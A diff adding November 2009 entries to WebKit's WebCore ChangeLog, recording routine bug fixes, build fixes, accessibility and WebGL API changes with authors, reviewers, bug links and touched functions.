+        <rdar://problem/7402913>
+
+        Avoid setting the mustOverlapCompositedLayers flag on RenderLayers which
+        are compositing anyway for other reasons. Doing so can cause those layers
+        to stay in compositing mode even after animations finish, because needsToBeComposited()
+        continues to return true.
+        
+        No new tests because it's not possible to determine which elements are in
+        compositing layers from DRT output.
+
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
+
+2009-11-18  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Mac Plugins: Remove null timer
+        
+        A null timer was used to send mouse move events. Instead, we now use
+        move events to send nullEvent. This brings down CPU usage by 20-30%.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=31624
+
+        * plugins/PluginView.h:
+        * plugins/mac/PluginViewMac.cpp:
+        (WebCore::PluginView::platformStart):
+        (WebCore::PluginView::handleMouseEvent):
+
+2009-11-18  Benjamin Poulain  <benjamin.poulain@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] WebKit crashes when loading certain SVG images
+
+        Check if the familly exist before creating the PlatformData from it.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29443
+
+        Test: svg/text/text-font-invalid.html
+
+        * platform/graphics/qt/FontFallbackListQt.cpp:
+        (WebCore::FontFallbackList::fontDataAt):
+
+2009-11-17  Nicolas Weber  <thakis@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Fix crash in Chromium/Mac where dropdowns weren't dismissed correctly
+        after navigation.
+        https://bugs.webkit.org/show_bug.cgi?id=31609
+
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::PopupContainer::showExternal): Set parent for external
+        dropdowns, so that |PopupListBox::hidePopup()| can successfully notify
+        its parent's client.
+
+2009-11-17  Hayato Ito  <hayato@google.com>
+
+        Reviewed by Darin Adler.
+
+        Avoid infinite mutual recursion when deeply nested tags are loaded
+        https://bugs.webkit.org/show_bug.cgi?id=30651
+
+        Test: fast/parser/block-nesting-cap-table.html
+
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::parseToken):
+        (WebCore::tagPriorityOfNode):
+        (WebCore::HTMLParser::limitBlockDepth):
+        (WebCore::HTMLParser::insertNodeAfterLimitBlockDepth):
+        (WebCore::HTMLParser::insertNode):
+        * html/HTMLParser.h:
+
+2009-11-17  Brent Fulgham  <bfulgham@webkit.org>
+
+        Rubber-stamped by Alexey Proskuryakov.
+
+        Final clean-ups for minor coding standard violations.
+        https://bugs.webkit.org/show_bug.cgi?id=26102.
+
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+
+2009-11-17  Johnny Ding  <jnd@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        In all valid script tags for JavaScript, the event handler in <script...for> should not get executed.
+        https://bugs.webkit.org/show_bug.cgi?id=31567
+
+        * dom/ScriptElement.cpp:
+        (WebCore::ScriptElementData::shouldExecuteAsJavaScript):
+
+2009-11-17  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Make DRT show web inspector for tests in inspector/ folder.
+        - Updated DRT to show/close inspector for all tests under /inspector
+        - Introduced LayoutTestController::setTimelineProfilingEnabled and
+          WebInspector::setTimelineProfilingEnabled beside setJavaScriptProfilingEnabled
+        - Removed reload on each inspector test
+        - Renamed fast/inspector to fast/inspector-support in order not to trigger
+        inspector for those.
+        - Reimplemented timeline tests in order to get rid of reload there.
+        - Moved tests that don't require harness into the fast group.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31472
+
+        * WebCore.Inspector.exp:
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype._formatRecord):
+
+2009-11-17  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        [Android] Android is missing the implementation of the GeolocationService iface.
+        https://bugs.webkit.org/show_bug.cgi?id=31554
+
+        No new tests required as this is platform specific code.
+
+        * platform/android/GeolocationServiceAndroid.cpp: Added.
+        (WebCore::GeolocationServiceAndroid::create):
+        (WebCore::GeolocationServiceAndroid::GeolocationServiceAndroid):
+        (WebCore::GeolocationServiceAndroid::startUpdating):
+        (WebCore::GeolocationServiceAndroid::stopUpdating):
+        (WebCore::GeolocationServiceAndroid::suspend):
+        (WebCore::GeolocationServiceAndroid::resume):
+        (WebCore::GeolocationServiceAndroid::newPositionAvailable):
+        (WebCore::GeolocationServiceAndroid::newErrorAvailable):
+        (WebCore::GeolocationServiceAndroid::timerFired):
+        (WebCore::GeolocationServiceAndroid::isPositionMovement):
+        (WebCore::GeolocationServiceAndroid::isPositionMoreAccurate):
+        (WebCore::GeolocationServiceAndroid::isPositionMoreTimely):
+        * platform/android/GeolocationServiceAndroid.h: Added.
+        (WebCore::GeolocationServiceAndroid::~GeolocationServiceAndroid):
+        (WebCore::GeolocationServiceAndroid::lastPosition):
+        (WebCore::GeolocationServiceAndroid::lastError):
+        * platform/android/GeolocationServiceBridge.cpp: Added.
+        (WebCore::):
+        (WebCore::GeolocationServiceBridge::GeolocationServiceBridge):
+        (WebCore::GeolocationServiceBridge::~GeolocationServiceBridge):
+        (WebCore::GeolocationServiceBridge::start):
+        (WebCore::GeolocationServiceBridge::stop):
+        (WebCore::GeolocationServiceBridge::setEnableGps):
+        (WebCore::GeolocationServiceBridge::newLocationAvailable):
+        (WebCore::GeolocationServiceBridge::newErrorAvailable):
+        (WebCore::GeolocationServiceBridge::toGeoposition):
+        (WebCore::GeolocationServiceBridge::startJavaImplementation):
+        (WebCore::GeolocationServiceBridge::stopJavaImplementation):
+        * platform/android/GeolocationServiceBridge.h: Added.
+
+2009-11-16  Kent Tamura  <tkent@chromium.org>
+
+        Unreviewd build fix.
+
+        - Fix typo in WebCore.vcproj.
+        - Intlude limits.h for INT_MAX.
+        - Enclose with parenthesis to suspress warning.
+
+        * WebCore.vcproj/WebCore.vcproj:
+        * html/ISODateTime.cpp:
+        (WebCore::ISODateTime::addDay):
+
+2009-11-16  Robin Dunn  <robin@alldunn.com>
+
+        Reviewed by Kevin Ollivier.
+
+        Make sure wx scrollbar drawing code factors in transforms when switching backends,
+        fix calcs for scrollbar length, and tweak the Mac scrollbar tracking rects.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=31570
+
+        * platform/wx/ScrollbarThemeWx.cpp:
+        (WebCore::ScrollbarThemeWx::minimumThumbLength):
+        (WebCore::ScrollbarThemeWx::splitTrack):
+        (WebCore::ScrollbarThemeWx::forwardButtonRect):
+        * platform/wx/ScrollbarThemeWx.h:
+        * platform/wx/wxcode/gtk/scrollbar_render.cpp:
+        (wxRenderer_DrawScrollbar):
+        * platform/wx/wxcode/scrollbar_render.h:
+        (calcThumbStartAndLength):
+        * platform/wx/wxcode/win/scrollbar_render.cpp:
+        (wxRenderer_DrawScrollbar):
+
+2009-11-16  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by David Levin.
+
+        Introduce WebCore::ISODateTime class.
+        https://bugs.webkit.org/show_bug.cgi?id=31340
+
+        This class represents a value of date/time types of the HTML5 INPUT
+        element, and has some parsing methods for ISO 8601.
+
+        This change has no tests because the class is not used yet.
+
+        * GNUmakefile.am: Add ISODateTime.cpp and ISODateTime.h.
+        * WebCore.gypi: ditto.
+        * WebCore.pro: ditto.
+        * WebCore.vcproj/WebCore.vcproj: ditto.
+        * WebCore.xcodeproj/project.pbxproj: ditto.
+        * WebCoreSources.bkl: ditto.
+        * html/ISODateTime.cpp: Added. Implementation of WebCore::ISODateTime class.
+        (WebCore::isLeapYear):
+        (WebCore::maxDayOfMonth):
+        (WebCore::dayOfWeek):
+        (WebCore::ISODateTime::maxWeekNumberInYear):
+        (WebCore::countDigits):
+        (WebCore::toInt):
+        (WebCore::ISODateTime::parseYear): Private helper for parseDate() and parseWeek().
+        (WebCore::ISODateTime::addDay): Private helper for parseTimeZone().
+        (WebCore::ISODateTime::addMinute): ditto.
+        (WebCore::ISODateTime::parseTimeZone): Private helper for parseDateTime().
+        (WebCore::ISODateTime::parseMonth): Parser for <input type=month>.
+        (WebCore::ISODateTime::parseDate): Parser for <input type=date>.
+        (WebCore::ISODateTime::parseWeek): Parser for <input type=week>.
+        (WebCore::ISODateTime::parseTime): Parser for <input type=time>.
+        (WebCore::ISODateTime::parseDateTimeLocal): Parser for <input type=datetime-local>.
+        (WebCore::ISODateTime::parseDateTime): Parser for <input type=datetime>.
+        * html/ISODateTime.h: Added.  Declare WebCore::ISODateTime class.
+        (WebCore::ISODateTime::ISODateTime):
+        (WebCore::ISODateTime::millisecond):
+        (WebCore::ISODateTime::second):
+        (WebCore::ISODateTime::minute):
+        (WebCore::ISODateTime::hour):
+        (WebCore::ISODateTime::monthDay):
+        (WebCore::ISODateTime::month):
+        (WebCore::ISODateTime::fullYear):
+        (WebCore::ISODateTime::week):
+
+2009-11-16  Alexey Proskuryakov  <ap@apple.com>
+
+        Fix a typo in previous commit.
+
+        * platform/network/cf/SocketStreamHandleCFNet.cpp: #ifdef, not #if.
+
+2009-11-16  Alexey Proskuryakov  <ap@apple.com>
+
+        Fix a typo in previous commit.
+
+        * platform/network/cf/SocketStreamHandleCFNet.cpp:
+
+2009-11-16  Alexey Proskuryakov  <ap@apple.com>
+
+        Tiger build fix.
+
+        * platform/network/cf/SocketStreamHandleCFNet.cpp: Define CFN_EXPORT, as this macro was named
+        differently in Tiger CFNetwork.
+
+2009-11-16  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        [KURLGoogle] setHostAndPort doesn't handle arguments without port correctly.
+
+        Fix a bug in the code that was dormant until http://trac.webkit.org/changeset/50784.
+
+        Covered by existing test: LayoutTests/fast/dom/HTMLAnchorElement/set-href-attribute-host.html
+
+        * platform/KURLGoogle.cpp:
+        (WebCore::KURL::setHostAndPort): Added handling of arguments without port specified.
+
+2009-11-16  Alexey Proskuryakov  <ap@apple.com>
+
+        Rubber-stamped by Jon Honeycutt.
+
+        A better Windows build fix
+
+        * platform/network/cf/SocketStreamHandleCFNet.cpp: (WebCore::SocketStreamHandle::createStreams):
+        Use a macro that inserts __declspec(dllimport) when appropriate for CFNetwork imports.
+
+2009-11-16  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        Rename protocolIsValid to isValidProtocol.
+        https://bugs.webkit.org/show_bug.cgi?id=31503
+
+        This name change was suggested in https://bugs.webkit.org/show_bug.cgi?id=29972#c19.
+
+        No new tests since no new functionality was introduced.
+
+        * html/HTMLAnchorElement.cpp:
+        (WebCore::HTMLAnchorElement::setProtocol):
+        * platform/KURL.cpp:
+        (WebCore::isValidProtocol):
+        * platform/KURL.h:
+        * platform/KURLGoogle.cpp:
+        (WebCore::isValidProtocol):
+
+2009-11-16  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        AX: aria-labelledby duplicates some of its WAI-ARIA label
+        https://bugs.webkit.org/show_bug.cgi?id=31565
+
+        Test: accessibility/aria-labelledby-overrides-label.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::hasTextAlternative):
+        (WebCore::AccessibilityRenderObject::exposesTitleUIElement):
+        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
+        * accessibility/AccessibilityRenderObject.h:
+
+2009-11-16  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Handle the case of a null NPObject* in NPN_SetException in
+        the V8 bindings.  This allow out of process plugins calling
+        NPN_SetException to just send null instead of sending an
+        NPObject* that would be an address in a different 
+        process's memory space.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31561
+
+        * bindings/v8/NPV8Object.cpp:
+        (_NPN_SetException): Allow null NPObject* and just throw a general error.
+
+2009-11-16  Alexey Proskuryakov  <ap@apple.com>
+
+        Windows build fix.
+
+        * platform/network/cf/SocketStreamHandleCFNet.cpp: (WebCore::SocketStreamHandle::createStreams):
+        Disable CONNECT proxies on Windows until WebKitSupportLibrary includes support for those.
+
+2009-11-14  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] ASSERT failure while running DRT
+        https://bugs.webkit.org/show_bug.cgi?id=30978
+
+        Add needed Structure typeInfo flags to QtRuntimeObjectImpl and QtRuntimeMethod.
+        These flags are needed after r49649, where HasDefaultmark was changed to OverrideMarkChildren.
+
+        * bridge/qt/qt_instance.cpp:
+        (JSC::Bindings::QtRuntimeObjectImp::createStructure):
+        * bridge/qt/qt_runtime.h:
+        (JSC::Bindings::QtRuntimeMethod::createStructure):
+
+2009-11-16  Mark Rowe  <mrowe@apple.com>
+
+        Attempt to fix the build.  Land a file that was missing from r51049.
+
+        * bindings/js/JSWebGLArrayHelper.h: Copied from WebCore/html/canvas/WebGLByteArray.idl.
+        (WebCore::setWebGLArrayFromArray):
+
+2009-11-16  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Oliver Hunt.
+
+        Update API of WebGLArray and friends
+        https://bugs.webkit.org/show_bug.cgi?id=31175
+
+        * bindings/js/JSWebGLArrayCustom.cpp:
+        (WebCore::toJS):
+        * bindings/js/JSWebGLArrayHelper.h: Added.
+        (WebCore::setWebGLArrayFromArray):
+        * bindings/js/JSWebGLByteArrayCustom.cpp:
+        (WebCore::JSWebGLByteArray::set):
+        * bindings/js/JSWebGLFloatArrayCustom.cpp:
+        (WebCore::JSWebGLFloatArray::set):
+        * bindings/js/JSWebGLIntArrayCustom.cpp:
+        (WebCore::JSWebGLIntArray::set):
+        * bindings/js/JSWebGLShortArrayCustom.cpp:
+        (WebCore::JSWebGLShortArray::set):
+        * bindings/js/JSWebGLUnsignedByteArrayCustom.cpp:
+        (WebCore::JSWebGLUnsignedByteArray::set):
+        * bindings/js/JSWebGLUnsignedIntArrayCustom.cpp:
+        (WebCore::JSWebGLUnsignedIntArray::set):
+        * bindings/js/JSWebGLUnsignedShortArrayCustom.cpp:
+        (WebCore::JSWebGLUnsignedShortArray::set):
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::convertToV8Object):
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8WebGLArrayBufferCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WebGLArrayCustom.h:
+        (WebCore::constructWebGLArray):
+        (WebCore::getWebGLArrayElement):
+        (WebCore::setWebGLArrayFromArray):
+        (WebCore::setWebGLArray):
+        * bindings/v8/custom/V8WebGLByteArrayCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WebGLFloatArrayCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WebGLIntArrayCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WebGLShortArrayCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WebGLUnsignedByteArrayCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WebGLUnsignedIntArrayCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WebGLUnsignedShortArrayCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * html/canvas/WebGLArray.cpp:
+        (WebCore::WebGLArray::WebGLArray):
+        (WebCore::WebGLArray::~WebGLArray):
+        (WebCore::WebGLArray::setImpl):
+        * html/canvas/WebGLArray.h:
+        (WebCore::WebGLArray::isByteArray):
+        (WebCore::WebGLArray::isUnsignedByteArray):
+        (WebCore::WebGLArray::isShortArray):
+        (WebCore::WebGLArray::isUnsignedShortArray):
+        (WebCore::WebGLArray::isIntArray):
+        (WebCore::WebGLArray::isUnsignedIntArray):
+        (WebCore::WebGLArray::isFloatArray):
+        (WebCore::WebGLArray::buffer):
+        (WebCore::WebGLArray::baseAddress):
+        (WebCore::WebGLArray::byteOffset):
+        * html/canvas/WebGLArray.idl:
+        * html/canvas/WebGLArrayBuffer.cpp:
+        (WebCore::WebGLArrayBuffer::create):
+        (WebCore::WebGLArrayBuffer::WebGLArrayBuffer):
+        (WebCore::WebGLArrayBuffer::data):
+        (WebCore::WebGLArrayBuffer::byteLength):
+        (WebCore::WebGLArrayBuffer::~WebGLArrayBuffer):
+        * html/canvas/WebGLArrayBuffer.h:
+        * html/canvas/WebGLByteArray.cpp:
+        (WebCore::WebGLByteArray::create):
+        (WebCore::WebGLByteArray::byteLength):
+        (WebCore::WebGLByteArray::slice):
+        (WebCore::WebGLByteArray::set):
+        * html/canvas/WebGLByteArray.h:
+        (WebCore::WebGLByteArray::isByteArray):
+        (WebCore::WebGLByteArray::data):
+        (WebCore::WebGLByteArray::set):
+        (WebCore::WebGLByteArray::get):
+        (WebCore::WebGLByteArray::item):
+        * html/canvas/WebGLByteArray.idl:
+        * html/canvas/WebGLFloatArray.cpp:
+        (WebCore::WebGLFloatArray::create):
+        (WebCore::WebGLFloatArray::WebGLFloatArray):
+        (WebCore::WebGLFloatArray::length):
+        (WebCore::WebGLFloatArray::byteLength):
+        (WebCore::WebGLFloatArray::slice):
+        (WebCore::WebGLFloatArray::set):
+        * html/canvas/WebGLFloatArray.h:
+        (WebCore::WebGLFloatArray::isFloatArray):
+        (WebCore::WebGLFloatArray::data):
+        (WebCore::WebGLFloatArray::set):
+        (WebCore::WebGLFloatArray::get):
+        (WebCore::WebGLFloatArray::item):
+        * html/canvas/WebGLFloatArray.idl:
+        * html/canvas/WebGLIntArray.cpp:
+        (WebCore::WebGLIntArray::create):
+        (WebCore::WebGLIntArray::WebGLIntArray):
+        (WebCore::WebGLIntArray::length):
+        (WebCore::WebGLIntArray::byteLength):
+        (WebCore::WebGLIntArray::slice):
+        (WebCore::WebGLIntArray::set):
+        * html/canvas/WebGLIntArray.h:
+        (WebCore::WebGLIntArray::isIntArray):
+        (WebCore::WebGLIntArray::data):
+        (WebCore::WebGLIntArray::set):
+        (WebCore::WebGLIntArray::get):
+        (WebCore::WebGLIntArray::item):
+        * html/canvas/WebGLIntArray.idl:
+        * html/canvas/WebGLShortArray.cpp:
+        (WebCore::WebGLShortArray::create):
+        (WebCore::WebGLShortArray::WebGLShortArray):
+        (WebCore::WebGLShortArray::length):
+        (WebCore::WebGLShortArray::byteLength):
+        (WebCore::WebGLShortArray::slice):
+        (WebCore::WebGLShortArray::set):
+        * html/canvas/WebGLShortArray.h:
+        (WebCore::WebGLShortArray::isShortArray):
+        (WebCore::WebGLShortArray::data):
+        (WebCore::WebGLShortArray::set):
+        (WebCore::WebGLShortArray::get):
+        (WebCore::WebGLShortArray::item):
+        * html/canvas/WebGLShortArray.idl:
+        * html/canvas/WebGLUnsignedByteArray.cpp:
+        (WebCore::WebGLUnsignedByteArray::create):
+        (WebCore::WebGLUnsignedByteArray::WebGLUnsignedByteArray):
+        (WebCore::WebGLUnsignedByteArray::length):
+        (WebCore::WebGLUnsignedByteArray::byteLength):
+        (WebCore::WebGLUnsignedByteArray::slice):
+        (WebCore::WebGLUnsignedByteArray::set):
+        * html/canvas/WebGLUnsignedByteArray.h:
+        (WebCore::WebGLUnsignedByteArray::isUnsignedByteArray):
+        (WebCore::WebGLUnsignedByteArray::data):
+        (WebCore::WebGLUnsignedByteArray::set):
+        (WebCore::WebGLUnsignedByteArray::get):
+        (WebCore::WebGLUnsignedByteArray::item):
+        * html/canvas/WebGLUnsignedByteArray.idl:
+        * html/canvas/WebGLUnsignedIntArray.cpp:
+        (WebCore::WebGLUnsignedIntArray::create):
+        (WebCore::WebGLUnsignedIntArray::WebGLUnsignedIntArray):
+        (WebCore::WebGLUnsignedIntArray::length):
+        (WebCore::WebGLUnsignedIntArray::byteLength):
+        (WebCore::WebGLUnsignedIntArray::slice):
+        (WebCore::WebGLUnsignedIntArray::set):
+        * html/canvas/WebGLUnsignedIntArray.h:
+        (WebCore::WebGLUnsignedIntArray::isUnsignedIntArray):
+        (WebCore::WebGLUnsignedIntArray::data):
+        (WebCore::WebGLUnsignedIntArray::set):
+        (WebCore::WebGLUnsignedIntArray::get):
+        (WebCore::WebGLUnsignedIntArray::item):
+        * html/canvas/WebGLUnsignedIntArray.idl:
+        * html/canvas/WebGLUnsignedShortArray.cpp:
+        (WebCore::WebGLUnsignedShortArray::create):
+        (WebCore::WebGLUnsignedShortArray::WebGLUnsignedShortArray):
+        (WebCore::WebGLUnsignedShortArray::length):
+        (WebCore::WebGLUnsignedShortArray::byteLength):
+        (WebCore::WebGLUnsignedShortArray::slice):
+        (WebCore::WebGLUnsignedShortArray::set):
+        * html/canvas/WebGLUnsignedShortArray.h:
+        (WebCore::WebGLUnsignedShortArray::isUnsignedShortArray):
+        (WebCore::WebGLUnsignedShortArray::data):
+        (WebCore::WebGLUnsignedShortArray::set):
+        (WebCore::WebGLUnsignedShortArray::get):
+        (WebCore::WebGLUnsignedShortArray::item):
+        * html/canvas/WebGLUnsignedShortArray.idl:
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::bufferData):
+        (WebCore::GraphicsContext3D::bufferSubData):
+
+2009-11-16  Alexey Proskuryakov  <ap@apple.com>
+
+        Windows build fix.
+
+        * platform/network/cf/SocketStreamHandleCFNet.cpp: Declare constants as extern "C".
+
+2009-11-15  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        Enable support for webkit-box-shadow in Cairo builds.
+        https://bugs.webkit.org/show_bug.cgi?id=26102.
+
+        Covered by existing fast/box-shadow tests.
+
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:  Add
+          support for fillRect shadows.
+
+2009-11-16  Alexey Proskuryakov  <ap@apple.com>
+
+        Windows build fix.
+
+        * platform/network/cf/SocketStreamHandleCFNet.cpp: Don't try to include a file that's not
+        in WebKitSupportLibrary.
+
+2009-11-16  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31494
+        Add unauthenticated proxy support to SocketStreamHandleCFNet
+
+        Cannot be tested in DRT.
+
+        * platform/network/cf/SocketStreamHandleCFNet.cpp:
+        (WebCore::SocketStreamHandle::chooseProxy): Fetch proxy information from OS.
+        (WebCore::SocketStreamHandle::createStreams): Apply it to the newly created streams.
+
+2009-11-14  Antonio Gomes  <tonikitoo@webkit.org>
+
+        Reviewed by Antti Koivisto.
+
+        [Qt] Broken back/forward after using ErrorPageExtension to set error page
+        https://bugs.webkit.org/show_bug.cgi?id=30573
+
+        Make FrameLoader::checkLoadCompleteForThisFrame method
+        to check for any working DocumentLoader instance (through
+        activeDocumentLoader()) instead of only checking for
+        'm_provisionalDocumentLoader' in order to decide to if
+        it is going to reset of not the back and forward history.
+        after an error page has been loaded.
+
+        Test: LayoutTests/fast/history/back-forward-reset-after-error-handling.html
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::checkLoadCompleteForThisFrame):
+
+2009-11-14  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Need to implement ARIA role="directory"
+        https://bugs.webkit.org/show_bug.cgi?id=31516
+
+        Test: platform/mac/accessibility/aria-directory.html
+
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::getOrCreate):
+        * accessibility/AccessibilityList.cpp:
+        (WebCore::AccessibilityList::isOrderedList):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::createARIARoleMap):
+
+2009-11-15  Dave Tapuska  <dtapuska@rim.com>
+
+        Reviewed by George Staikos.
+        
+        Compare UChars single unit at a time as opposed to the uint32_t
+        approach as casting to unaligned addresses may cause a bus failure
+        on ARMv5 and below. This change replicates the same defines that
+        exists in AtomicString.cpp
+
+        https://bugs.webkit.org/show_bug.cgi?id=31475
+        
+        * platform/text/StringHash.h:
+        (WebCore::StringHash::equal):
+
+2009-11-15  Evan Martin  <evan@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Wrap some SVG code in V8DOMWrapper with an ENABLE(SVG) test.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31490
+
+        * bindings/v8/V8DOMWrapper.cpp:
+
+2009-11-15  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Adam Barth.
+
+        [Haiku] Build fix. The FileChooser constructor doesn't need to be redefined.
+
+        * platform/haiku/FileChooserHaiku.cpp:
+
+2009-11-15  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Adam Barth.
+
+        [Haiku] Build fix. ColorSpace name had a wrong CamelCase.
+
+        * platform/graphics/haiku/GraphicsContextHaiku.cpp:
+        (WebCore::GraphicsContext::setPlatformStrokeColor):
+
+2009-11-15  Daniel Bates  <dbates@webkit.org>
+
+        No review, rolling out r50999.
+        http://trac.webkit.org/changeset/50999
+
+        Need to fix some issues in the Windows build. Missed some places where
+        RenderTextControl::isEdited is called.
+
+        * bindings/objc/DOMHTML.mm:
+        (-[DOMHTMLInputElement _isEdited]):
+        (-[DOMHTMLTextAreaElement _isEdited]):
+        * dom/Document.cpp:
+        (WebCore::Document::setFocusedNode):
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::defaultEventHandler):
+        * rendering/RenderTextControl.cpp:
+        (WebCore::RenderTextControl::RenderTextControl):
+        (WebCore::RenderTextControl::setInnerTextValue):
+        (WebCore::RenderTextControl::setUserEdited):
+        (WebCore::RenderTextControl::subtreeHasChanged):
+        * rendering/RenderTextControl.h:
+        (WebCore::RenderTextControl::isEdited):
+        (WebCore::RenderTextControl::setEdited):
+        (WebCore::RenderTextControl::isUserEdited):
+        * rendering/RenderTextControlSingleLine.cpp:
+        (WebCore::RenderTextControlSingleLine::subtreeHasChanged):
+        * wml/WMLInputElement.cpp:
+        (WebCore::WMLInputElement::defaultEventHandler):
+
+2009-11-15  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31186
+
+        Renames RenderTextControl::m_edited and RenderTextControl::m_userEdited to
+        m_wasChangedSinceLastChangeEvent and m_lastChangeWasUserEdit, respectively.
+        These are more descriptive names so as to clear an ambiguity surrounding
+        their usage. Also, renames associated setters and getters so that they
+        coincide with the renamed fields.
+
+        No functionality was changed. So, no tests were included.
+
+        * bindings/objc/DOMHTML.mm:
+        (-[DOMHTMLInputElement _isEdited]):
+        (-[DOMHTMLTextAreaElement _isEdited]):
+        * dom/Document.cpp:
+        (WebCore::Document::setFocusedNode):
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::defaultEventHandler):
+        * rendering/RenderTextControl.cpp:
+        (WebCore::RenderTextControl::RenderTextControl):
+        (WebCore::RenderTextControl::setInnerTextValue):
+        (WebCore::RenderTextControl::setLastChangeWasUserEdit): Formerly named setUserEdited.
+        (WebCore::RenderTextControl::subtreeHasChanged):
+        * rendering/RenderTextControl.h:
+        (WebCore::RenderTextControl::wasChangedSinceLastChangeEvent): Formerly named isEdited.
+        (WebCore::RenderTextControl::setChangedSinceLastChangeEvent): Formerly named setEdited.
+        (WebCore::RenderTextControl::lastChangeWasUserEdit): Formerly named setUserEdited.
+        * rendering/RenderTextControlSingleLine.cpp:
+        (WebCore::RenderTextControlSingleLine::subtreeHasChanged):
+        * wml/WMLInputElement.cpp:
+        (WebCore::WMLInputElement::defaultEventHandler):
+
+2009-11-14  Adele Peterson  <adele@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Fix for <rdar://problem/6946165> Would like to be able to specify the number of visible lines when using -webkit-line-clamp
+
+        Test: fast/overflow/line-clamp.html
+
+        * css/CSSComputedStyleDeclaration.cpp: (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue): Updated to handle different types of values.
+        * css/CSSParser.cpp: (WebCore::CSSParser::parseValue): ditto.
+        * css/CSSStyleSelector.cpp: (WebCore::CSSStyleSelector::applyProperty): ditto.
+
+        * rendering/RenderFlexibleBox.cpp: (WebCore::RenderFlexibleBox::layoutVerticalBox):
+        Use the line count value if available.  Otherwise, convert the percentage to the line count, as we did before.  Also,
+        if there is anchor as the last child box, still allow adding the ellipsis.
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::scrollByRecursively): Call isNone on the LineClampValue to see if the line-clamp property has been set.
+        (WebCore::RenderLayer::scrollRectToVisible): ditto.
+
+        * WebCore.xcodeproj/project.pbxproj: Added LineClampValue.h
+        * rendering/style/LineClampValue.h: Added.
+        (WebCore::LineClampValue::LineClampValue):
+        (WebCore::LineClampValue::value):
+        (WebCore::LineClampValue::isPercentage):
+        (WebCore::LineClampValue::isNone):
+        (WebCore::LineClampValue::operator==):
+        (WebCore::LineClampValue::operator!=):
+        * rendering/style/RenderStyleConstants.h: (WebCore::): Define ELineClampType enum for percentage or line count.
+
+        * rendering/style/RenderStyle.h: Use LineClampValue.
+        (WebCore::InheritedFlags::lineClamp):
+        (WebCore::InheritedFlags::setLineClamp):
+        (WebCore::InheritedFlags::initialLineClamp):
+        * rendering/style/StyleRareNonInheritedData.h:
+
+2009-11-14  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        <rdar://problem/7287487> 
+        Do not use QuickTime version to detect media controller theme
+
+        * WebCore.base.exp: Export wkMediaControllerThemeAvailable
+        * platform/mac/WebCoreSystemInterface.h: Ditto.
+        * platform/mac/WebCoreSystemInterface.mm: Ditto.
+
+        * rendering/RenderThemeMac.mm:
+        (WebCore::mediaControllerTheme): Use wkMediaControllerThemeAvailable instead of the
+        QuickTime version to see if it is possible to use MediaControllerThemeQuickTime.
+
